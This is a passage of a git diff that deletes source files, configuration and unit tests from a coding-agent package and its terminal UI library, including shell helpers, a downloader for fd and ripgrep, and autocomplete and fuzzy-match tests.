creates a literal file - * that is undeletable due to NUL being a reserved Windows device name. - * No-op on non-Windows platforms. - */ -export function sanitizeCommand(command: string): string { - if (process.platform !== "win32") return command; - return command.replace( - /(\d*>>?) *\bNUL\b(?=\s|;|\||&|\)|$)/gi, - "$1 /dev/null", - ); -} - -export function getShellEnv(): NodeJS.ProcessEnv { - const binDir = getBinDir(); - const pathKey = - Object.keys(process.env).find((key) => key.toLowerCase() === "path") ?? - "PATH"; - const currentPath = process.env[pathKey] ?? ""; - const pathEntries = currentPath.split(delimiter).filter(Boolean); - const hasBinDir = pathEntries.includes(binDir); - const updatedPath = hasBinDir - ? currentPath - : [binDir, currentPath].filter(Boolean).join(delimiter); - - return { - ...process.env, - [pathKey]: updatedPath, - // Agent-run shells must not open an editor or credential prompt. Commands - // such as `git rebase --continue` should either complete or fail visibly. - GIT_TERMINAL_PROMPT: "0", - GIT_EDITOR: "true", - GIT_SEQUENCE_EDITOR: "true", - GIT_ASKPASS: "", - VISUAL: "true", - EDITOR: "true", - }; -} - -/** - * Sanitize binary output for display/storage. - * Removes characters that crash string-width or cause display issues: - * - Control characters (except tab, newline, carriage return) - * - Lone surrogates - * - Unicode Format characters (crash string-width due to a bug) - * - Characters with undefined code points - */ -export function sanitizeBinaryOutput(str: string): string { - // Use Array.from to properly iterate over code points (not code units) - // This handles surrogate pairs correctly and catches edge cases where - // codePointAt() might return undefined - return Array.from(str) - .filter((char) => { - // Filter out characters that cause string-width to crash - // This includes: - // - Unicode format characters - // - Lone surrogates (already filtered by Array.from) - // - Control chars except \t \n \r - // - Characters with undefined code points - - const code = char.codePointAt(0); - - // Skip if code point is undefined (edge case with invalid strings) - if (code === undefined) return false; - - // Allow tab, newline, carriage return - if (code === 0x09 || code === 0x0a || code === 0x0d) return true; - - // Filter out control characters (0x00-0x1F, except 0x09, 0x0a, 0x0x0d) - if (code <= 0x1f) return false; - - // Filter out Unicode format characters - if (code >= 0xfff9 && code <= 0xfffb) return false; - - return true; - }) - .join(""); -} - -const trackedDetachedChildPids = new Set(); - -export function trackDetachedChildPid(pid: number): void { - trackedDetachedChildPids.add(pid); -} - -export function untrackDetachedChildPid(pid: number): void { - trackedDetachedChildPids.delete(pid); -} - -export function killTrackedDetachedChildren(): void { - for (const pid of trackedDetachedChildPids) { - killProcessTree(pid); - } - trackedDetachedChildPids.clear(); -} - -/** - * Kill a process and all its children (cross-platform) - */ -export function killProcessTree(pid: number): void { - if (process.platform === "win32") { - // Use taskkill on Windows to kill process tree - try { - spawn("taskkill", ["/F", "/T", "/PID", String(pid)], { - stdio: "ignore", - }); - } catch { - // Ignore errors if taskkill fails - } - } else { - // Use SIGKILL on Unix/Linux/Mac - try { - process.kill(-pid, "SIGKILL"); - } catch { - // Fallback to killing just the child if process group kill fails - try { - process.kill(pid, "SIGKILL"); - } catch { - // Process already dead - } - } - } -} diff --git a/packages/pi-coding-agent/src/utils/sleep.ts b/packages/pi-coding-agent/src/utils/sleep.ts deleted file mode 100644 index 948f93c47..000000000 --- a/packages/pi-coding-agent/src/utils/sleep.ts +++ /dev/null @@ -1,18 +0,0 @@ -/** - * Sleep helper that respects abort signal. - */ -export function sleep(ms: number, signal?: AbortSignal): Promise { - return new Promise((resolve, reject) => { - if (signal?.aborted) { - reject(new Error("Aborted")); - return; - } - - const timeout = setTimeout(resolve, ms); - - signal?.addEventListener("abort", () => { - clearTimeout(timeout); - reject(new Error("Aborted")); - }); - }); -} diff --git a/packages/pi-coding-agent/src/utils/tools-manager.ts b/packages/pi-coding-agent/src/utils/tools-manager.ts deleted file mode 100644 index aa29a0635..000000000 --- a/packages/pi-coding-agent/src/utils/tools-manager.ts +++ /dev/null @@ -1,344 +0,0 @@ -import { spawnSync } from "node:child_process"; -import { - chmodSync, - createWriteStream, - existsSync, - mkdirSync, - readdirSync, - renameSync, - rmSync, -} from "node:fs"; -import { arch, platform } from "node:os"; -import { join } from "node:path"; -import { Readable } from "node:stream"; -import { finished } from "node:stream/promises"; -import chalk from "chalk"; -import extractZip from "extract-zip"; -import { APP_NAME, getBinDir } from "../config.js"; - -const TOOLS_DIR = getBinDir(); -const NETWORK_TIMEOUT_MS = 10000; - -function isOfflineModeEnabled(): boolean { - const value = process.env.PI_OFFLINE; - if (!value) return false; - return ( - value === "1" || - value.toLowerCase() === "true" || - value.toLowerCase() === "yes" - ); -} - -interface ToolConfig { - name: string; - repo: string; // GitHub repo (e.g., "sharkdp/fd") - binaryName: string; // Name of the binary inside the archive - tagPrefix: string; // Prefix for tags (e.g., "v" for v1.0.0, "" for 1.0.0) - getAssetName: ( - version: string, - plat: string, - architecture: string, - ) => string | null; -} - -const TOOLS: Record = { - fd: { - name: "fd", - repo: "sharkdp/fd", - binaryName: "fd", - tagPrefix: "v", - getAssetName: (version, plat, architecture) => { - if (plat === "darwin") { - const archStr = architecture === "arm64" ? "aarch64" : "x86_64"; - return `fd-v${version}-${archStr}-apple-darwin.tar.gz`; - } else if (plat === "linux") { - const archStr = architecture === "arm64" ? "aarch64" : "x86_64"; - return `fd-v${version}-${archStr}-unknown-linux-gnu.tar.gz`; - } else if (plat === "win32") { - const archStr = architecture === "arm64" ? "aarch64" : "x86_64"; - return `fd-v${version}-${archStr}-pc-windows-msvc.zip`; - } - return null; - }, - }, - rg: { - name: "ripgrep", - repo: "BurntSushi/ripgrep", - binaryName: "rg", - tagPrefix: "", - getAssetName: (version, plat, architecture) => { - if (plat === "darwin") { - const archStr = architecture === "arm64" ? "aarch64" : "x86_64"; - return `ripgrep-${version}-${archStr}-apple-darwin.tar.gz`; - } else if (plat === "linux") { - if (architecture === "arm64") { - return `ripgrep-${version}-aarch64-unknown-linux-gnu.tar.gz`; - } - return `ripgrep-${version}-x86_64-unknown-linux-musl.tar.gz`; - } else if (plat === "win32") { - const archStr = architecture === "arm64" ? "aarch64" : "x86_64"; - return `ripgrep-${version}-${archStr}-pc-windows-msvc.zip`; - } - return null; - }, - }, -}; - -// Check if a command exists in PATH by trying to run it -function commandExists(cmd: string): boolean { - try { - const result = spawnSync(cmd, ["--version"], { stdio: "pipe" }); - // Check for ENOENT error (command not found) - return result.error === undefined || result.error === null; - } catch { - return false; - } -} - -// Get the path to a tool (system-wide or in our tools dir) -function getToolPath(tool: "fd" | "rg"): string | null { - const config = TOOLS[tool]; - if (!config) return null; - - // Check our tools directory first - const localPath = join( - TOOLS_DIR, - config.binaryName + (platform() === "win32" ? ".exe" : ""), - ); - if (existsSync(localPath)) { - return localPath; - } - - // Check system PATH - if found, just return the command name (it's in PATH) - if (commandExists(config.binaryName)) { - return config.binaryName; - } - - return null; -} - -// Fetch latest release version from GitHub -async function getLatestVersion(repo: string): Promise { - const response = await fetch( - `https://api.github.com/repos/${repo}/releases/latest`, - { - headers: { "User-Agent": `${APP_NAME}-coding-agent` }, - signal: AbortSignal.timeout(NETWORK_TIMEOUT_MS), - }, - ); - - if (!response.ok) { - throw new Error(`GitHub API error: ${response.status}`); - } - - const data = (await response.json()) as { tag_name: string }; - return data.tag_name.replace(/^v/, ""); -} - -// Download a file from URL -async function downloadFile(url: string, dest: string): Promise { - const response = await fetch(url, { - signal: AbortSignal.timeout(NETWORK_TIMEOUT_MS), - }); - - if (!response.ok) { - throw new Error(`Failed to download: ${response.status}`); - } - - if (!response.body) { - throw new Error("No response body"); - } - - const fileStream = createWriteStream(dest); - await finished(Readable.fromWeb(response.body as any).pipe(fileStream)); -} - -function findBinaryRecursively( - rootDir: string, - binaryFileName: string, -): string | null { - const stack: string[] = [rootDir]; - - while (stack.length > 0) { - const currentDir = stack.pop(); - if (!currentDir) continue; - - const entries = readdirSync(currentDir, { withFileTypes: true }); - for (const entry of entries) { - const fullPath = join(currentDir, entry.name); - if (entry.isFile() && entry.name === binaryFileName) { - return fullPath; - } - if (entry.isDirectory()) { - stack.push(fullPath); - } - } - } - - return null; -} - -// Download and install a tool -async function downloadTool(tool: "fd" | "rg"): Promise { - const config = TOOLS[tool]; - if (!config) throw new Error(`Unknown tool: ${tool}`); - - const plat = platform(); - const architecture = arch(); - - // Get latest version - const version = await getLatestVersion(config.repo); - - // Get asset name for this platform - const assetName = config.getAssetName(version, plat, architecture); - if (!assetName) { - throw new Error(`Unsupported platform: ${plat}/${architecture}`); - } - - // Create tools directory - mkdirSync(TOOLS_DIR, { recursive: true }); - - const downloadUrl = `https://github.com/${config.repo}/releases/download/${config.tagPrefix}${version}/${assetName}`; - const archivePath = join(TOOLS_DIR, assetName); - const binaryExt = plat === "win32" ? ".exe" : ""; - const binaryPath = join(TOOLS_DIR, config.binaryName + binaryExt); - - // Download - await downloadFile(downloadUrl, archivePath); - - // Extract into a unique temp directory. fd and rg downloads can run concurrently - // during startup, so sharing a fixed directory causes races. - const extractDir = join( - TOOLS_DIR, - `extract_tmp_${config.binaryName}_${process.pid}_${Date.now()}_${Math.random().toString(36).slice(2, 10)}`, - ); - mkdirSync(extractDir, { recursive: true }); - - try { - if (assetName.endsWith(".tar.gz")) { - const extractResult = spawnSync( - "tar", - ["xzf", archivePath, "-C", extractDir], - { stdio: "pipe" }, - ); - if (extractResult.error || extractResult.status !== 0) { - const errMsg = - extractResult.error?.message ?? - extractResult.stderr?.toString().trim() ?? - "unknown error"; - throw new Error(`Failed to extract ${assetName}: ${errMsg}`); - } - } else if (assetName.endsWith(".zip")) { - await extractZip(archivePath, { dir: extractDir }); - } else { - throw new Error(`Unsupported archive format: ${assetName}`); - } - - // Find the binary in extracted files. Some archives contain files directly - // at root, others nest under a versioned subdirectory. - const binaryFileName = config.binaryName + binaryExt; - const extractedDir = join( - extractDir, - assetName.replace(/\.(tar\.gz|zip)$/, ""), - ); - const extractedBinaryCandidates = [ - join(extractedDir, binaryFileName), - join(extractDir, binaryFileName), - ]; - let extractedBinary = extractedBinaryCandidates.find((candidate) => - existsSync(candidate), - ); - - if (!extractedBinary) { - extractedBinary = - findBinaryRecursively(extractDir, binaryFileName) ?? undefined; - } - - if (extractedBinary) { - renameSync(extractedBinary, binaryPath); - } else { - throw new Error( - `Binary not found in archive: expected ${binaryFileName} under ${extractDir}`, - ); - } - - // Make executable (Unix only) - if (plat !== "win32") { - chmodSync(binaryPath, 0o755); - } - } finally { - // Cleanup - rmSync(archivePath, { force: true }); - rmSync(extractDir, { recursive: true, force: true }); - } - - return binaryPath; -} - -// Termux package names for tools -const TERMUX_PACKAGES: Record = { - fd: "fd", - rg: "ripgrep", -}; - -// Ensure a tool is available, downloading if necessary -// Returns the path to the tool, or null if unavailable -export async function ensureTool( - tool: "fd" | "rg", - silent: boolean = false, -): Promise { - const existingPath = getToolPath(tool); - if (existingPath) { - return existingPath; - } - - const config = TOOLS[tool]; - if (!config) return undefined; - - if (isOfflineModeEnabled()) { - if (!silent) { - console.log( - chalk.yellow( - `${config.name} not found. Offline mode enabled, skipping download.`, - ), - ); - } - return undefined; - } - - // On Android/Termux, Linux binaries don't work due to Bionic libc incompatibility. - // Users must install via pkg. - if (platform() === "android") { - const pkgName = TERMUX_PACKAGES[tool] ?? tool; - if (!silent) { - console.log( - chalk.yellow( - `${config.name} not found. Install with: pkg install ${pkgName}`, - ), - ); - } - return undefined; - } - - // Tool not found - download it - if (!silent) { - console.log(chalk.dim(`${config.name} not found. Downloading...`)); - } - - try { - const path = await downloadTool(tool); - if (!silent) { - console.log(chalk.dim(`${config.name} installed to ${path}`)); - } - return path; - } catch (e) { - if (!silent) { - console.log( - chalk.yellow( - `Failed to download ${config.name}: ${e instanceof Error ? e.message : e}`, - ), - ); - } - return undefined; - } -} diff --git a/packages/pi-coding-agent/tsconfig.json b/packages/pi-coding-agent/tsconfig.json deleted file mode 100644 index 45ef3f5fc..000000000 --- a/packages/pi-coding-agent/tsconfig.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "compilerOptions": { - "target": "ES2024", - "module": "Node16", - "lib": ["ES2024"], - "strict": true, - "esModuleInterop": true, - "skipLibCheck": true, - "incremental": true, - "forceConsistentCasingInFileNames": true, - "declaration": true, - "declarationMap": true, - "sourceMap": true, - "inlineSources": true, - "inlineSourceMap": false, - "moduleResolution": "Node16", - "resolveJsonModule": true, - "allowImportingTsExtensions": false, - "experimentalDecorators": true, - "emitDecoratorMetadata": true, - "useDefineForClassFields": false, - "types": ["node"], - "outDir": "./dist", - "rootDir": "./src" - }, - "include": ["src/**/*.ts", "src/**/*.d.ts"], - "exclude": ["node_modules", "dist"] -} diff --git a/packages/pi-tui/package.json b/packages/pi-tui/package.json deleted file mode 100644 index c410a5cb7..000000000 --- a/packages/pi-tui/package.json +++ /dev/null @@ -1,33 +0,0 @@ -{ - "name": "@singularity-forge/pi-tui", - "version": "2.75.3", - "description": "Terminal User Interface library (vendored from pi-mono)", - "type": "module", - "main": "./dist/index.js", - "types": "./dist/index.d.ts", - "exports": { - ".": { - "types": "./dist/index.d.ts", - "import": "./dist/index.js", - "require": "./dist/index.js" - } - }, - "scripts": { - "build": "tsc -p tsconfig.json" - }, - "dependencies": { - "chalk": "^5.6.2", - "get-east-asian-width": "^1.3.0", - "marked": "^18.0.3", - "mime-types": "^3.0.1" - }, - "devDependencies": { - "@types/mime-types": "^2.1.4" - }, - "optionalDependencies": { - "koffi": "^2.9.0" - }, - "engines": { - "node": ">=26.1.0" - } -} diff --git a/packages/pi-tui/src/__tests__/autocomplete.test.ts b/packages/pi-tui/src/__tests__/autocomplete.test.ts deleted file mode 100644 index 070b48dbd..000000000 --- a/packages/pi-tui/src/__tests__/autocomplete.test.ts +++ /dev/null @@ -1,243 +0,0 @@ -import assert from "node:assert/strict"; -import { mkdtempSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { describe, it } from "vitest"; -import type { SlashCommand } from "../autocomplete.js"; -import { CombinedAutocompleteProvider } from "../autocomplete.js"; - -function makeProvider( - commands: SlashCommand[] = [], - basePath: string = "/tmp", -) { - return new CombinedAutocompleteProvider(commands, basePath); -} - -const sampleCommands: SlashCommand[] = [ - { name: "settings", description: "Open settings menu" }, - { name: "model", description: "Select model" }, - { name: "session", description: "Show session info" }, - { name: "export", description: "Export session" }, - { name: "thinking", description: "Set thinking level" }, -]; - -describe("CombinedAutocompleteProvider — slash commands", () => { - it("returns all commands for bare /", () => { - const provider = makeProvider(sampleCommands); - const result = provider.getSuggestions(["/"], 0, 1); - assert.ok(result, "should return suggestions"); - assert.equal(result!.items.length, sampleCommands.length); - assert.equal(result!.prefix, "/"); - }); - - it("filters commands by typed prefix", () => { - const provider = makeProvider(sampleCommands); - const result = provider.getSuggestions(["/se"], 0, 3); - assert.ok(result); - assert.equal(result!.items.length, 2); // settings, session - assert.ok(result!.items.some((i) => i.value === "settings")); - assert.ok(result!.items.some((i) => i.value === "session")); - }); - - it("returns null when no commands match", () => { - const provider = makeProvider(sampleCommands); - const result = provider.getSuggestions(["/zzz"], 0, 4); - assert.equal(result, null); - }); - - it("includes description in suggestions", () => { - const provider = makeProvider(sampleCommands); - const result = provider.getSuggestions(["/mod"], 0, 4); - assert.ok(result); - assert.equal(result!.items[0]?.description, "Select model"); - }); - - it("does not trigger slash commands mid-line", () => { - const provider = makeProvider(sampleCommands); - // "/" not at position 0 in the line — should not match slash commands - const result = provider.getSuggestions(["hello /se"], 0, 9); - assert.equal(result, null); - }); - - it("triggers slash commands after leading whitespace", () => { - const provider = makeProvider(sampleCommands); - const result = provider.getSuggestions([" /se"], 0, 5); - assert.ok(result); - assert.equal(result!.prefix, "/se"); - assert.ok(result!.items.some((item) => item.value === "settings")); - }); -}); - -describe("CombinedAutocompleteProvider — argument completions", () => { - it("returns argument completions for commands that support them", () => { - const commands: SlashCommand[] = [ - { - name: "thinking", - description: "Set thinking level", - getArgumentCompletions: (prefix) => { - const levels = ["off", "low", "medium", "high"]; - const filtered = levels - .filter((l) => l.startsWith(prefix.trim())) - .map((l) => ({ value: l, label: l })); - return filtered.length > 0 ? filtered : null; - }, - }, - ]; - const provider = makeProvider(commands); - const result = provider.getSuggestions(["/thinking m"], 0, 11); - assert.ok(result); - assert.equal(result!.items.length, 1); - assert.equal(result!.items[0]?.value, "medium"); - }); - - it("returns null for commands without argument completions", () => { - const provider = makeProvider(sampleCommands); - const result = provider.getSuggestions(["/settings foo"], 0, 13); - assert.equal(result, null); - }); - - it("returns all arg completions for empty prefix after space", () => { - const commands: SlashCommand[] = [ - { - name: "test", - description: "Test command", - getArgumentCompletions: (prefix) => { - const subs = ["start", "stop", "status"]; - const filtered = subs - .filter((s) => s.startsWith(prefix.trim())) - .map((s) => ({ value: s, label: s })); - return filtered.length > 0 ? filtered : null; - }, - }, - ]; - const provider = makeProvider(commands); - const result = provider.getSuggestions(["/test "], 0, 6); - assert.ok(result); - assert.equal(result!.items.length, 3); - }); -}); - -describe("CombinedAutocompleteProvider — @ file prefix extraction", () => { - it("detects @ at start of line", () => { - const emptyDir = mkdtempSync(join(tmpdir(), "sf-ac-")); - const provider = makeProvider([], emptyDir); - // @ triggers fuzzy file search — we can't test the actual file results - // but we can test that getSuggestions returns null (no files in empty dir matching) - // rather than crashing - const result = provider.getSuggestions(["@nonexistent_xyz"], 0, 16); - // May return null or empty — the key thing is it doesn't crash - assert.ok(result === null || result.items.length >= 0); - }); - - it("detects @ after space", () => { - const emptyDir = mkdtempSync(join(tmpdir(), "sf-ac-")); - const provider = makeProvider([], emptyDir); - const result = provider.getSuggestions(["check @nonexistent_xyz"], 0, 22); - assert.ok(result === null || result.items.length >= 0); - }); - - it("returns null for bare @ with no query to avoid full tree walk (#1824)", () => { - const provider = makeProvider([], process.cwd()); - // A bare "@" produces an empty rawPrefix after stripping the "@". - // This must return null to avoid a synchronous full filesystem walk - // via the native fuzzyFind addon, which freezes the TUI on large repos. - const result = provider.getSuggestions(["@"], 0, 1); - assert.equal(result, null, "bare @ should not trigger fuzzy file search"); - }); - - it("returns null for @ after space with no query (#1824)", () => { - const provider = makeProvider([], process.cwd()); - const result = provider.getSuggestions(["look at @"], 0, 9); - assert.equal( - result, - null, - "@ after space with no query should not trigger fuzzy file search", - ); - }); -}); - -describe("CombinedAutocompleteProvider — applyCompletion", () => { - it("applies slash command completion with trailing space", () => { - const provider = makeProvider(sampleCommands); - const result = provider.applyCompletion( - ["/se"], - 0, - 3, - { value: "settings", label: "settings" }, - "/se", - ); - assert.equal(result.lines[0], "/settings "); - assert.equal(result.cursorCol, 10); // after "/settings " - }); - - it("preserves leading whitespace when applying slash command completion", () => { - const provider = makeProvider(sampleCommands); - const result = provider.applyCompletion( - [" /se"], - 0, - 5, - { value: "settings", label: "settings" }, - "/se", - ); - assert.equal(result.lines[0], " /settings "); - assert.equal(result.cursorCol, 12); - }); - - it("applies file path completion for @ prefix", () => { - const provider = makeProvider(); - const result = provider.applyCompletion( - ["@src/"], - 0, - 5, - { value: "@src/index.ts", label: "index.ts" }, - "@src/", - ); - assert.equal(result.lines[0], "@src/index.ts "); - }); - - it("applies directory completion without trailing space", () => { - const provider = makeProvider(); - const result = provider.applyCompletion( - ["@sr"], - 0, - 3, - { value: "@src/", label: "src/" }, - "@sr", - ); - // Directories should not get trailing space so user can continue typing - assert.ok(!result.lines[0]!.endsWith(" ")); - }); - - it("preserves text after cursor", () => { - const provider = makeProvider(sampleCommands); - const result = provider.applyCompletion( - ["/se and more text"], - 0, - 3, - { value: "settings", label: "settings" }, - "/se", - ); - assert.ok(result.lines[0]!.includes("and more text")); - }); -}); - -describe("CombinedAutocompleteProvider — force file suggestions", () => { - it("does not trigger for slash commands", () => { - const provider = makeProvider(sampleCommands); - const result = provider.getForceFileSuggestions(["/set"], 0, 4); - assert.equal(result, null); - }); - - it("shouldTriggerFileCompletion returns false for slash commands", () => { - const provider = makeProvider(sampleCommands); - assert.equal(provider.shouldTriggerFileCompletion(["/set"], 0, 4), false); - }); - - it("shouldTriggerFileCompletion returns true for regular text", () => { - const provider = makeProvider(); - assert.equal( - provider.shouldTriggerFileCompletion(["some text"], 0, 9), - true, - ); - }); -}); diff --git a/packages/pi-tui/src/__tests__/fuzzy.test.ts b/packages/pi-tui/src/__tests__/fuzzy.test.ts deleted file mode 100644 index 41e6fec80..000000000 --- a/packages/pi-tui/src/__tests__/fuzzy.test.ts +++ /dev/null @@ -1,118 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import { fuzzyFilter, fuzzyMatch } from "../fuzzy.js"; - -describe("fuzzyMatch", () => { - it("matches exact string", () => { - const result = fuzzyMatch("hello", "hello"); - assert.equal(result.matches, true); - }); - - it("matches substring characters in order", () => { - const result = fuzzyMatch("hlo", "hello"); - assert.equal(result.matches, true); - }); - - it("does not match when characters are out of order", () => { - const result = fuzzyMatch("olh", "hello"); - assert.equal(result.matches, false); - }); - - it("empty query matches everything", () => { - const result = fuzzyMatch("", "anything"); - assert.equal(result.matches, true); - assert.equal(result.score, 0); - }); - - it("does not match when query is longer than text", () => { - const result = fuzzyMatch("toolong", "short"); - assert.equal(result.matches, false); - }); - - it("is case insensitive", () => { - const result = fuzzyMatch("ABC", "abcdef"); - assert.equal(result.matches, true); - }); - - it("rewards consecutive matches with lower score", () => { - const consecutive = fuzzyMatch("hel", "hello"); - const gapped = fuzzyMatch("hlo", "hello"); - assert.ok( - consecutive.score < gapped.score, - "consecutive matches should score lower (better)", - ); - }); - - it("rewards word boundary matches", () => { - const boundary = fuzzyMatch("sc", "slash-command"); - const nonBoundary = fuzzyMatch("sc", "describe"); - assert.ok( - boundary.score < nonBoundary.score, - "word boundary matches should score lower (better)", - ); - }); - - it("handles alphanumeric swap (e.g., opus3 matches opus-3)", () => { - const result = fuzzyMatch("opus3", "opus-3"); - assert.equal(result.matches, true); - }); - - it("handles numeric-alpha swap", () => { - const result = fuzzyMatch("3opus", "opus-3"); - assert.equal(result.matches, true); - }); - - it("does not match completely unrelated strings", () => { - const result = fuzzyMatch("xyz", "hello"); - assert.equal(result.matches, false); - }); -}); - -describe("fuzzyFilter", () => { - const items = ["settings", "session", "share", "model", "compact", "export"]; - - it("returns all items for empty query", () => { - const result = fuzzyFilter(items, "", (x) => x); - assert.equal(result.length, items.length); - }); - - it("filters to matching items only", () => { - const result = fuzzyFilter(items, "se", (x) => x); - assert.ok(result.includes("settings")); - assert.ok(result.includes("session")); - assert.ok(!result.includes("model")); - }); - - it("sorts by match quality (best first)", () => { - const result = fuzzyFilter(items, "ex", (x) => x); - assert.equal(result[0], "export"); - }); - - it("supports space-separated tokens (all must match)", () => { - const data = ["anthropic/opus", "anthropic/sonnet", "openai/gpt4"]; - const result = fuzzyFilter(data, "ant opus", (x) => x); - assert.equal(result.length, 1); - assert.equal(result[0], "anthropic/opus"); - }); - - it("returns empty array when no items match", () => { - const result = fuzzyFilter(items, "zzz", (x) => x); - assert.equal(result.length, 0); - }); - - it("works with custom getText function", () => { - const objects = [ - { name: "alpha", id: 1 }, - { name: "beta", id: 2 }, - { name: "gamma", id: 3 }, - ]; - const result = fuzzyFilter(objects, "bet", (o) => o.name); - assert.equal(result.length, 1); - assert.equal(result[0]?.name, "beta"); - }); - - it("handles whitespace-only query as empty", () => { - const result = fuzzyFilter(items, " ", (x) => x); - assert.equal(result.length, items.length); - }); -}); diff --git a/packages/pi-tui/src/__tests__/overlay-layout.test.ts b/packages/pi-tui/src/__tests__/overlay-layout.test.ts deleted file mode 100644 index 1bee756ef..000000000 --- a/packages/pi-tui/src/__tests__/overlay-layout.test.ts +++ /dev/null @@ -1,91 +0,0 @@ -// pi-tui — Overlay Layout Tests (backdrop dimming) - -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import { compositeOverlays, type OverlayEntry } from "../overlay-layout.js"; - -function makeEntry( - lines: string[], - options?: OverlayEntry["options"], -): OverlayEntry { - return { - component: { render: () => lines }, - options, - hidden: false, - focusOrder: 1, - }; -} - -describe("compositeOverlays — backdrop", () => { - it("dims base lines when backdrop is true", () => { - const base = ["hello world", "second line"]; - const overlay = makeEntry(["OVERLAY"], { - width: 7, - anchor: "top-left", - backdrop: true, - }); - - const result = compositeOverlays(base, [overlay], 20, 20, 2); - - // All base lines in viewport should contain dim escape (\x1b[2m) - // The overlay line itself is composited on top, but underlying lines get dimmed - const dimmedLine = result.find((l) => l.includes("second line")); - assert.ok(dimmedLine, "should have a line containing 'second line'"); - assert.ok(dimmedLine.includes("\x1b[2m"), "base line should be dimmed"); - }); - - it("backdrop uses gray foreground for dimming", () => { - const base = ["hello world", "second line"]; - const overlay = makeEntry(["OV"], { - width: 2, - anchor: "top-left", - backdrop: true, - }); - - const result = compositeOverlays(base, [overlay], 20, 20, 2); - - // Check a non-overlay line for backdrop codes (dim + gray fg, no bg) - const line = result.find((l) => l.includes("second line")); - assert.ok(line, "should have a line containing 'second line'"); - assert.ok( - line.includes("\x1b[38;5;240m"), - "backdrop should set gray foreground", - ); - assert.ok( - !line.includes("\x1b[48;"), - "backdrop should not set background color", - ); - }); - - it("does not dim when backdrop is false/absent", () => { - const base = ["hello world", "second line"]; - const overlay = makeEntry(["OVERLAY"], { - width: 7, - anchor: "top-left", - }); - - const result = compositeOverlays(base, [overlay], 20, 20, 2); - - // Lines not covered by overlay should remain undimmed - const secondLine = result.find((l) => l.includes("second line")); - assert.ok(secondLine, "should have a line containing 'second line'"); - assert.ok( - !secondLine.includes("\x1b[2m"), - "base line should not be dimmed", - ); - }); - - it("overlay content renders on top of dimmed background", () => { - const base = ["aaaaaaaaaa"]; - const overlay = makeEntry(["XX"], { - width: 2, - anchor: "top-left", - backdrop: true, - }); - - const result = compositeOverlays(base, [overlay], 10, 10, 1); - - // The first line should contain the overlay text - assert.ok(result[0].includes("XX"), "overlay text should be composited"); - }); -}); diff --git a/packages/pi-tui/src/__tests__/stdin-buffer.test.ts b/packages/pi-tui/src/__tests__/stdin-buffer.test.ts deleted file mode 100644 index 38637d09a..000000000 --- a/packages/pi-tui/src/__tests__/stdin-buffer.test.ts +++ /dev/null @@ -1,43 +0,0 @@ -import assert from "node:assert/strict"; -import { setTimeout as delay } from "node:timers/promises"; -import { describe, it } from "vitest"; - -import { StdinBuffer } from "../stdin-buffer.js"; - -describe("StdinBuffer", () => { - it("flushes a lone Escape keypress", async () => { - const buffer = new StdinBuffer({ timeout: 5 }); - const received: string[] = []; - buffer.on("data", (sequence) => received.push(sequence)); - - buffer.process("\x1b"); - await delay(20); - - assert.deepEqual(received, ["\x1b"]); - assert.equal(buffer.getBuffer(), ""); - }); - - it("keeps split CSI focus and mouse sequences buffered until completion", async () => { - const buffer = new StdinBuffer({ timeout: 5 }); - const received: string[] = []; - buffer.on("data", (sequence) => received.push(sequence)); - - buffer.process("\x1b["); - await delay(20); - assert.deepEqual(received, []); - assert.equal(buffer.getBuffer(), "\x1b["); - - buffer.process("I"); - assert.deepEqual(received, ["\x1b[I"]); - assert.equal(buffer.getBuffer(), ""); - - buffer.process("\x1b[<35;20;"); - await delay(20); - assert.deepEqual(received, ["\x1b[I"]); - assert.equal(buffer.getBuffer(), "\x1b[<35;20;"); - - buffer.process("5m"); - assert.deepEqual(received, ["\x1b[I", "\x1b[<35;20;5m"]); - assert.equal(buffer.getBuffer(), ""); - }); -}); diff --git a/packages/pi-tui/src/__tests__/tui.test.ts b/packages/pi-tui/src/__tests__/tui.test.ts deleted file mode 100644 index 805a28923..000000000 --- a/packages/pi-tui/src/__tests__/tui.test.ts +++ /dev/null @@ -1,130 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import type { Terminal } from "../terminal.js"; -import type { Component } from "../tui.js"; -import { Container, TUI } from "../tui.js"; - -function makeTerminal(): Terminal { - return { - isTTY: true, - columns: 80, - rows: 24, - kittyProtocolActive: false, - start() {}, - stop() {}, - drainInput: async () => {}, - write() {}, - moveBy() {}, - hideCursor() {}, - showCursor() {}, - clearLine() {}, - clearFromCursor() {}, - clearScreen() {}, - setTitle() {}, - }; -} - -describe("TUI clearOnShrink debounce", () => { - it("defers full redraw on first shrink and commits on second", () => { - const tui = new TUI(makeTerminal()); - const anyTui = tui as any; - - // Enable clearOnShrink and simulate prior rendering state - anyTui.clearOnShrink = true; - anyTui.maxLinesRendered = 10; - anyTui._shrinkDebounceActive = false; - - // Simulate a shrink: newLines has fewer lines than maxLinesRendered - // First shrink should set debounce flag but NOT reset maxLinesRendered - anyTui._shrinkDebounceActive = false; - - // Verify the flag exists and is initially false - assert.equal(anyTui._shrinkDebounceActive, false); - - // After setting it to true (simulating first shrink detection), - // maxLinesRendered should remain at the old value so the condition - // triggers again on the next render - anyTui._shrinkDebounceActive = true; - assert.equal( - anyTui.maxLinesRendered, - 10, - "maxLinesRendered must not change during deferred shrink", - ); - }); - - it("resets debounce flag when content grows back", () => { - const tui = new TUI(makeTerminal()); - const anyTui = tui as any; - - anyTui.clearOnShrink = true; - anyTui._shrinkDebounceActive = true; - - // Simulating the else branch: content grew back or no shrink - // The code sets _shrinkDebounceActive = false in the else branch - anyTui._shrinkDebounceActive = false; - assert.equal(anyTui._shrinkDebounceActive, false); - }); -}); - -describe("TUI", () => { - it("does not swallow a bare Escape keypress while waiting for the cell-size response", () => { - const tui = new TUI(makeTerminal()); - const received: string[] = []; - - tui.setFocus({ - render: () => [], - handleInput: (data: string) => { - received.push(data); - }, - invalidate() {}, - }); - - const anyTui = tui as any; - anyTui.cellSizeQueryPending = true; - anyTui.inputBuffer = ""; - - anyTui.handleInput("\x1b"); - - assert.deepEqual(received, ["\x1b"]); - assert.equal(anyTui.cellSizeQueryPending, false); - assert.equal(anyTui.inputBuffer, ""); - }); -}); - -describe("Container", () => { - function makeDisposableChild(counter: { - disposed: number; - }): Component & { dispose(): void } { - return { - render: () => [], - invalidate() {}, - dispose() { - counter.disposed++; - }, - }; - } - - it("detachChildren() removes children without disposing them", () => { - const c = new Container(); - const counter = 